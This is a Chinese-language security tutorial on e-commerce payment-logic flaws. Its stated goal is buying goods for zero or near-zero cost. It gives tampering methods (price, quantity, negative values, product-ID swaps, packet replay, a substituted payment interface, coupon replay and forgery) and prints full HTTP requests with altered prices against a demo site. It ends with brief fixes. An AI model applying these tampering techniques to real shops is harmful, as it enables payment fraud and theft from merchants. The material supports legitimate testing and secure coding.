支付逻辑安全

尝试任何篡改商品数据的操作,简单点说想办法0元购,或者无线接近0元购,或者让对方直接倒贴。

  • 熟悉常见支付流程

    • 选择商品和数量
    • 选择支付及配送方式
    • 生成订单编号
    • 订单支付选择
    • 完成支付
  • 熟悉那些数据篡改

    • 商品编号ID(购买成功的一刹那换成别的商品的ID),购买价格(超低价购买),购买数量(小数或者负数购买),支付方式,订单号,支付状态等
  • 熟悉那些修改方式

    • 替换支付 :以3000元购买换掉6000元购买。
    • 重复支付 :将支付成功的数据包重新放一遍,看是否能在不消费的情况下成功买下。
    • 最小额支付 :以最低的金额去购买。更改价格和数量。
    • 负数支付 :-1支付对方亏你xxx元
    • 溢出支付 :直接爆满支付,看网站如何处理
    • 优惠券支付 :借助优惠券支付

实战

前提:网站有那个支付模块。

数据篡改-价格&数量&产品

1、修改数量达到价格变动
2、修改单价达到价格变动
3、修改产品达到低价购买
4、修改接口达到成功购买

参数修改

GET /index.php?m=Member&a=gobuy&iscart=0&id=127&name=%E5%A4%A7%E7%B1%B3%E6%B5%8B%E8%AF%95%E4%BA%A7%E5%93%81&qty=1&price=0.1&gtype=%E7%81%B0%E8%89%B2&pic=/Public/Uploads/thumb/thumb_1393218295.jpg HTTP/1.1

拆解:
GET /index.php?
m=Member&
a=gobuy&
iscart=0&
id=127&
name=%E5%A4%A7%E7%B1%B3%E6%B5%8B%E8%AF%95%E4%BA%A7%E5%93%81&
qty=1& # 数量(修改点)
price=0.1& # 价格(修改点)
gtype=%E7%81%B0%E8%89%B2&
pic=/Public/Uploads/thumb/thumb_1393218295.jpg
HTTP/1.1

付款接口修改:抓取付款数据包,把接口改成自己的.

如果成功则自己付给自己,并且商家那现实付款成功。
如果严谨,则商家那展示付款失败,白嫖商品失败。

前提:认你  接口(对方接口不固定)

POST /index.php?s=/member/dobuy.html HTTP/1.1
Host: location:8035
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 395
Origin: http://location:8035
Connection: close
Referer: http://location:8035/index.php?m=Member&a=gobuy&iscart=0&id=127&name=%E5%A4%A7%E7%B1%B3%E6%B5%8B%E8%AF%95%E4%BA%A7%E5%93%81&qty=1&price=6000&gtype=%E7%81%B0%E8%89%B2&pic=/Public/Uploads/thumb/thumb_1393218295.jpg
Cookie: BkGOp9578O_think_template=default; PHPSESSID=nvk0rgq5a6el9u0lr454eeu016; yx_auth=6829i3mlyPCHhzssAd6wLLH6gBWIwp5PH%2Bv5jz4SLncHF7ehraRiPqH5A7n7DljMMU8haHE8LPaoZr61B824dN%2BE1DY; BkGOp9578O_1689052413=czoxOiIxIjs%3D; cod=27
Upgrade-Insecure-Requests: 1

id%5B%5D=127&pic%5B%5D=%2FPublic%2FUploads%2Fthumb%2Fthumb_1393218295.jpg&name%5B%5D=%E5%A4%A7%E7%B1%B3%E6%B5%8B%E8%AF%95%E4%BA%A7%E5%93%81&gtype%5B%5D=%E7%81%B0%E8%89%B2&qty%5B%5D=1&price%5B%5D=6000&realname=%E9%A2%9C%E5%85%AD%E5%85%83&tel=11111111111&province=%E5%B9%BF%E4%B8%9C&city=%E6%B1%95%E5%B0%BE%E5%B8%82&area=%E9%99%86%E4%B8%B0%E5%B8%82&address=%E9%99%86%E5%B3%B0&trade_type=1&iscart=0

修改方式-订单号&数量&优惠券

1、修改数量达到价格变动
2、修改订单达到底价购买
3、优惠券重放使用&重领使用

优惠券:
只领取1
重复使用 - 重放数据包

优惠券的编号以及对应的规律,自己伪造优惠券数据包并且放出去,达到无线刷不存在的优惠券。


价格控制:
价格在源代码是否接收的问题。
如果价格是从数据库取出的,代表价格无法做假,被固定死。

特殊情况:
数据库被篡改

某实例-演示站交易支付逻辑安全

订单的编号
1000去购买10000的订单,最终下价格是10000,订单时1000
==>检测订单与金额的对应关系。

代码审计-业务支付逻辑&安全修复

1、金额以数据库定义为准
2、购买数量限制为正整数
3、优惠券固定使用后删除
4、订单生成后检测对应值